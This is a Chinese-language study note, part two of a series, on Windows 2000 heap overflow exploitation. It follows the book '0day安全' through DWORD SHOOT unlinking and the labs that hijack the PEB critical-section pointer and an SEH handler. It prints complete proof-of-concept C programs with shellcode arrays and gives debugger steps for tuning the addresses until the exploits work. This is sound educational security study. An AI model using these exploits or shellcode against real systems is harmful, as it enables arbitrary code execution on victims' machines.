堆溢出学习笔记(Win2K) (下)

  • Title(EN): Heap Overflow Learning Notes(Win2K) #2
  • Author: dog2

0x02 堆溢出原理及利用


1. 堆溢出原理

堆管理系统的三类操作:堆块分配、堆块释放和堆块合并归根结底都是堆链表的修改。例如,分配就是将堆块从空表中“卸下”;释放是把堆块“链入”空表;合并稍微复杂点,但也可以看成是把若干个堆块先从空表中“卸下”,修改块首信息(大小),之后把更新的新块“链入”空表。

所有“卸下”和“链入”堆块的工作都发生在链表,如果我们能伪造链表结点的指针,在“卸下”和“链入”的过程中就有可能获得一次读写内存的机会。

堆溢出利用的精髓就是用精心构造的数据去溢出下一个堆块的块首,改写块首中的前向指针(flink)和后向指针(blink),然后再分配、释放、合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会。

我们把这种能够向内存任意位置写入任意数据的机会成为”DWORD SHOOT“。注意:DWORD SHOOT发生时,我们不但可以控制射击的目标(任意地址),还可以选用适当的子弹(4字节恶意数据)。

这里举一个例子来说明链表操作中DWORD SHOOT究竟是怎样发生的。将一个结点从双向链表中“卸下”的函数很可能是类似这样的。

1
2
3
4
5
6
int remove (ListNode * node)
{

node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 0;
}

按照这个函数的逻辑,正常拆卸过程中链表的变化过程如图5.3.1所示。

当堆溢出发生时,非法数据可以淹没下一个堆块块首。这是,块首是可以被攻击者控制的,即块首中存放的前向指针(flink)和后向指针(blink)是可以被攻击者伪造的。当这个堆块被从双向链表中”卸下“时,node -> blink -> flink = node -> flink 将把伪造的flink指针值写入伪造的blink所指的地址中去,从而发生DWORD SHOOT。这个过程如图5.3.2所示。

王清《0day安全:软件漏洞分析技术》(第二版) -> P163-164
《0day安全:软件漏洞分析技术》(第二版) -> P165 -> 图5.3.1 《0day安全:软件漏洞分析技术》(第二版) -> P165 -> 图5.3.2

2. 堆溢出利用

DWORD SHOOT的常用目标(Windows XP SP1之前的平台)大概可以概括为以下几类。

(1) 内存变量:修改能够影响程序执行的重要标志变量,往往可以改变程序流程。例如,更改身份验证函数的返回值就可以直接通过认证机制。2.2节中修改邻接变量的小试验就是这种利用方式的例子。在这种应用场景中,DWORD SHOOT要比栈溢出强大得多,因为栈溢出时溢出的数据必须连续,而DWORD SHOOT可以更改内存中任意地址的数据。

(2) 代码逻辑:修改代码段重要函数的关键逻辑有时可以达到一定攻击效果。例如,程序分支处的判断逻辑,或者把身份认证函数的调用指令覆盖为0x90(nop)。这种方法有点类似于软件破解技术中的”爆破“——通过更改一个字节而改变整个程序的流程,第1章中的破解小试验就是这种应用的例子。

(3) 函数返回地址:栈溢出修改函数返回地址能够劫持进程,堆溢出也一样可以利用DWORD SHOOT更改函数返回地址。但由于栈帧移位的原因,函数返回地址往往是不固定的。甚至在同一操作系统和补丁版本下连续运行两次栈状态都会有不同,故DWORD SHOOT在这种情况下有一定局限性,因为移动的靶子不好瞄准。

(4) 攻击异常处理机制:当程序产生异常时,Windows会转入异常处理机制。堆溢出很容易引起异常,因此异常处理机制所使用的重要数据结构往往会成为DWORD SHOOT的上等目标,这包括S.E.H(structure exception handler)、F.V.E.H(First Vectored Exception Handler)、进程环境块(P.E.B)中的U.E.F(Unhandled Exception Filter)、线程环境块(T.E.B)中存放的第一个S.E.H指针(T.E.H)。

(5) 函数指针:系统有时会使用一些函数指针,比如调用动态链接库中的函数、C++中的虚函数调用等。改写这些函数指针后,在函数调用发生后往往可以成功劫持进程。但可惜的是,不是每一个漏洞都可以使用这项技术,这取决于软件的开发方式。

(6) P.E.B中线程同步函数的入口地址:天才的黑客们发现在每个进程的P.E.B中都存放着一对同步函数指针,指向RtlEnterCriticalSection()和RtlLeaveCriticalSection(),并且在进程退出时会被ExitProcess()调用。如果能够通过DWORD SHOOT修改这对指针中的其中一个,那么在程序退出时ExitProcess()将会被骗去调用我们的shellcode。由于P.E.B的位置始终不会变化,这对指针在P.E.B中的偏移也始终不变,这使得利用堆溢出开发出适用于不同操作系统版本和补丁版本的exploit成为可能。这种方法一经提出就立刻成为Windows平台下堆溢出哭一边给的是最经典方法之一,因为静止的靶子比活动的靶子好打得多,我们只需要把枪架好,闭着眼睛扣扳机就是了。

王清《0day安全:软件漏洞分析技术》(第二版) -> P169-170

(1) 利用P.E.B(进程环境块)实施攻击

1) P.E.B利用原理

Windows为了同步进程下的多个线程,使用了一些同步措施,如锁机制(lock)、信号量(semaphore)、临界区(critical section)等。许多操作都要用到这些同步机制。

当进程退出时,ExitProcess()函数要做很多善后工作,其中必然需要用到临界区函数RtlEnterCriticalSection()和RtlLeaveCriticalSection()来同步线程防止“脏数据”的产生。

不知什么原因,微软的工程师似乎堆ExitProcess()情有独钟,因为它调用临界区的方法比较特殊,是通过进程环境块P.E.B中偏移0x20处存放的函数指针来间接完成的。具体说来就是在0x7FFDF020处存放着指向RtlEnterCriticalSection()的指针,在0x7FFDF024处存放着指向RtlLeaveCriticalSection()的指针。

题外话:从Windows 2003 Server开始,微软已经修改了这里的实现。

王清《0day安全:软件漏洞分析技术》(第二版) -> P170
2) 实验

本实验通过淹没尾块块首,来触发DWORD SHOOT以修改P.E.B中0x20处存放的指向RtlEnterCriticalSection()函数的指针,导致程序需要调用它时实际却执行了shellcode。

实验代码如下:

《0day安全:软件漏洞分析技术》(第二版) -> P171 -> heap_PEB.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"!

POC code of chapter 6.4 in book "Vulnerability Exploit and Analysis Technique"

file name : heap_PEB.c
author : failwest
date : 2007.04.04

description : demo show of heap overrun, shellcode was executed
function pointer of RtlEnterCriticalSection was changed in PEB
via DWORD shooting
Some address may need to reset via run time debugging

Noticed : 1 only run on windows 2000
2 complied with VC 6.0
3 build into release version
4 used for run time debugging
version : 1.0
E-mail : failwest@gmail.com

Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/


#include <windows.h>
/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";//200 bytes 0x90
*/


/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f";
//0x00520688 is the address of shellcode in first heap block
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
*/



char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x4C\xAA\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f";
//0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last


main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}

编译环境如下:

  • 操作系统:运行于Vmware虚拟机,版本Win 2K SP4 5.00.2195 EN
  • 编译器:Visual C++ 6.0
  • 编译选项:默认选项
  • build版本:release版

代码中第3个为最终版本的shellcode,这个shellcode效果是执行MessageBoxA()弹出一个对话框,但据0day书中解释,shellcode中调用的函数也需要使用临界区,因此在其执行过程中也需要调用P.E.B中0x20偏移处的指针指向的RtlEnterCriticalSection()函数,但该处的函数指针在shellcode执行时已经被我们掉包,因此会导致shellcode中的函数执行不成功。为了避免这个问题,需要在shellcode调用关键函数前修复该处的值,shellcode中77-79行的代码就是进行修复工作的。

首先,去掉代码104行处的注释,通过INT 3中断进入OllyDBG进行调试。

由于RtlEnterCriticalSection()函数的实际地址在不同操作系统上有所差异,因此此处需要手动确定,由于P.E.B的地址是固定的,为0x7FFDF000,因此在内存查看窗口中通过Ctrl+G并键入0x7FFDF020来到其偏移0x20处观察,得到在我的系统中RtlEnterCriticalSection()函数的地址为0x77F82060,因此将shellcode中78行处的修复代码中的该函数地址进行修改,本行整体改为”\xBB\x60\x20\xF8\x77”,其中\xBB为MOV EBX的机器码。

接着,观察shellcode中第92行,0day书中尾块的地址为0x00520688,而我的机器上为0x00360688,因此将其中的\x52修改为\x36即可。

最后,再将第104行的INT 3中断注释掉,重新编译运行程序,即可成功弹窗。这里有个问题,如果不注释掉该行代码,INT 3中断后进入OllyDBG进行调试,最终程序会终止在ntdll的内核代码中,不会成功弹窗,也不会执行到我们的shellcode,我尝试了很多修改选项或者不同断点的方式都无法解决这个问题,由于它不影响我们对利用P.E.B进行堆溢出利用的理解,因此放在后面讨论。

3) 关于其中细节的思考

虽然无法跟踪调试堆溢出的过程,但是我们可以观察一下堆溢出之前的堆内存的分布,当代码执行到106行memcpy()调用之前时,观察空表索引区,如下图:

图2.2.1.1

观察堆数据区:

图2.2.1.2

可以看到尾块的前后向指针均指向0x178处的Freelist[0]。

接着执行代码到完成106行的memcpy操作,再观察对数据区:

图2.2.1.3

由于h1处发生溢出,0x688处写入的shellcode会越界覆盖到0x758处的尾块的前后向指针,前向指针flink被修改为0x00360688,后向指针blink被修改为0x7FFDF020。由于当前尾块与Freelist[0]相互串接,而h2会申请(1+1) x 8 Byte的空间,当前Freelist[2]中没有空闲块,因此会从尾块中”分割“所需空间给h2,这需要将当前尾块从Freelist[0]中”卸下“,而前面的堆溢出利用原理中介绍过,将一个结点从双向链表中“卸下”的函数很可能是类似这样的:

1
2
3
4
5
6
int remove (ListNode * node)
{

node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 0;
}

其中,node可理解即为该节点数据区(而非块首)的地址,本例中可如下理解:

1
2
3
4
5
DWORD ** node = 0x00360758; //node指向尾块数据区

node值为0x00360758
*node值为0x00360688,是被覆盖后的前向指针flink。
*(node+4)值为0x7FFDF020,是被覆盖后的后向指针blink。

则如下操作就可以这样理解:

1
2
node -> flink 等价于 *(node+0),即*node
node -> blink 等价于 *(node+4)

因此,上面的代码可以理解为

1
2
3
4
5
6
int remove (ListNode * node)
{

*(*(node+4)) = *node;
*(*node+4) = *(node+4);
return 0;
}

因此本例可最终理解为进行了如下操作

1
2
Memory(0x7FFDF020) = 0x00360688; //P.E.B DWORD SHOOT
Memory(0x0036068C) = 0x7FFDF020; //指针反射

如上代码中第一行向内存地址0x7FFDF020写入了DWORD值0x00360688,篡改了该处原来存储的指向临界区函数RtlEnterCriticalSection()的指针,因此在程序出错退出调用ExitProcess()时,就会需要到P.E.B便宜0x20处获得指向RtlEnterCriticalSection()函数的指针,结果获得的是shellcode的地址0x00360688,因此转而去执行shellcode。

但观察第二行代码,代码会向shellcode前部第5 Byte处写入DWORD 值0x7FFDF020,因此位于shellcode中的\x20\xF0\xFD\x7F会被当做机器码执行,这有可能影响shellcode的正确执行,这种现象叫做指针反射,好在本例中这些指令无关痛痒“,并没有影响shellcode关键代码的执行。

但如果在为某个特定漏洞开发exploit时,指针反射发生且目标指针不能当做”无关痛痒“的指令安全地执行过去,那就得开动脑筋使用别的目标,或者使用跳板技术。这也是我介绍了很多种利用思路给大家的原因——要不然就只有自认倒霉了。

王清《0day安全:软件漏洞分析技术》(第二版) -> P177

(2) 通过S.E.H(异常处理结构体)实施攻击

1) S.E.H利用原理

操作系统或程序运行时,难免会遇到各种各样的错误,为了保证系统在遇到错误时不至于崩溃了,仍能够健壮稳定地继续运行下去,Windows会对运行在其中的程序提供一次补救的机会来处理错误,这种机制就是异常处理机制。

S.E.H即异常处理结构体(Structure Exception Handler),它是Windows异常处理机制所采用的重要数据结构。每个S.E.H包含两个DWORD指针:S.E.H链表指针和异常处理函数句柄,共8个字节,如图6.1.1所示。

《0day安全:软件漏洞分析技术》(第二版) -> P178 -> 图6.1.1

作为对S.E.H的初步了解,我们现在只需要知道一下几个要点,S.E.H链表如图6.1.2所示。

(1) S.E.H结构体存放在系统栈中。
(2) 当线程初始化时,会自动向栈中安装一个S.E.H,作为线程默认的一场处理。
(3) 如果程序源代码中使用了try{}except{}或者Assert宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个S.E.H来实现异常处理。
(4) 栈中一般会同时存在多个S.E.H
(5) 栈中的多个S.E.H通过链表指针在栈内由栈顶向栈底串成单向链表,位于链表最顶端的S.E.H通过T.E.B(线程环境块)0字节偏移处的指针标识。
(6) 当异常发生时,操作系统会中断程序,并首先从T.E.B的0字节偏移处取出距离栈顶最近的S.E.H,使用异常处理函数句柄所指向的代码来处理异常。
(7) 当离”事故现场“最近的异常处理函数运行失败时,将顺着S.E.H链表依次尝试其他的异常处理函数。
(8) 如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序。

王清《0day安全:软件漏洞分析技术》(第二版) -> P178-179
《0day安全:软件漏洞分析技术》(第二版) -> P179 -> 图6.1.2

从程序设计角度来讲 ,S.E.H就是在系统关闭程序之前,给程序一个预先执行设定的回调函数(call back)的机会。大概明白了S.E.H的工作原理之后 ,聪明的读者朋友们可能已经发现了问题所在。
(1) S.E.H存放在栈中,故溢出缓冲区的数据有可能淹没S.E.H。
(2) 精心制造的溢出数据可以把S.E.H中异常处理函数的入口地址更改为shellcode的起始地址。
(3) 溢出后错误的栈帧或堆块数据往往会触发异常。
(4) 当Windows开始处理溢出后的异常时,会错误地把shellcode当作异常处理函数而执行。

王清《0day安全:软件漏洞分析技术》(第二版) -> P178-179
2) 实验

本实验通过淹没尾块块首,来触发DWORD SHOOT以修改S.E.H中第一个异常处理函数的地址,导致堆溢出产生错误需执行异常处理函数时实际却执行了shellcode。

本实验代码与第五章中代码类似,因此作者没有在随书代码中给出,下面给出我自己修改的版本:

《0day安全:软件漏洞分析技术》(第二版) -> P184
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00"
"\x90\x90\x90\x90";

DWORD MyExceptionHandler(void){
ExitProcess(1);
}

main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;

hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200); //overflow, 0x200=512

__asm int 3
__try{
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
}
__except(MyExceptionHandler()){}
return 0;
}

编译环境如下:

  • 操作系统:运行于Vmware虚拟机,版本Win 2K SP4 5.00.2195 EN
  • 编译器:Visual C++ 6.0
  • 编译选项:默认选项
  • build版本:release版

可以观察到,本例中shellcode与上例中基本一致,不同之处有二:

  • DWORD SHOOT的目标地址,即shellcode的最后4 Byte,本例中暂为\x90\x90\x90\x90,为异常处理函数地址,在进行一次调试确定后,再替换即可
  • 本例中没有进行上例中对0x7FFDF020处临界区函数RtlEnterCriticalSection()指针的修复,因为本例中并没有改变它。

在编译后执行程序之前,先改变OllyDBG设置,不忽略任何异常,如下图:

图2.2.2.1

接着执行程序,在INT3处中断,观察此时栈中的S.E.H chain,View菜单 -> SEH chain,如下图:

图2.2.2.2

但是,这时看到的SEH chain中并没有在我们的程序发生堆溢出异常时需要用到的第一个S.E.H。需要接着执行代码直到调用行的HeapAlloc()函数,这时会出现异常,指令窗口会从用户程序代码转入ntdll.dll中的内核代码,此时再观察S.E.H chain,如下图:

图2.2.2.3

观察上图,0x0012FF2C即为处理本程序第一个异常的S.E.H的地址,前面介绍过,S.E.H是个结构体,其中先后包含着下一个S.E.H的指针和异常处理函数指针,因此,我们DWORD SHOOT的目标地址为 (0x0012FF2C + 4) = 0x0012FF30。

接着,修改C代码第18行shellcode中DWORD SHOOT的目标地址为\x30\xFF\x12\x00,注释掉第33行的INT3中断,重新编译执行,成功弹窗。

可以看到,这次我们依然需要注释掉INT3,否则编译执行后进入OllyDBG调试后运行,程序是不会正常弹窗的,其原因在0day书中后文中有提到:

当异常发生时,系统会顺着S.E.H链表搜索能够处理异常的句柄;一旦找到了恰当的句柄,系统会将已经遍历过的S.E.H中的异常处理函数再调用一遍,这个过程就是所谓的unwind操作,第二轮地调用就是unwind调用。

unwind操作通过kernel32.dll中的一个导出函数RtlUnwind实现,实际上kernel32.dll会转而再去调用ntdll.dll中的同名函数。

最后,还要堆栈中的异常处理做最后一点补充:在使用回调函数之前,系统会判断当前是否处于调试状态,如果处于调试状态,将把异常交给调试器处理。

王清《0day安全:软件漏洞分析技术》(第二版) -> P188-190

从上文的解释就可以明白为什么我们的代码会触发异常后会进入ntdll的代码执行,而且也能解释为什么保留INT3编译执行后不会弹窗了,因为在处理异常时系统检测到当前处于调试器中,因此把该异常交给调试器处理了,而OllyDBG跟系统处理异常的方式不同,它并没有调用系统的异常处理函数,因此我们的shellcode没有得到执行。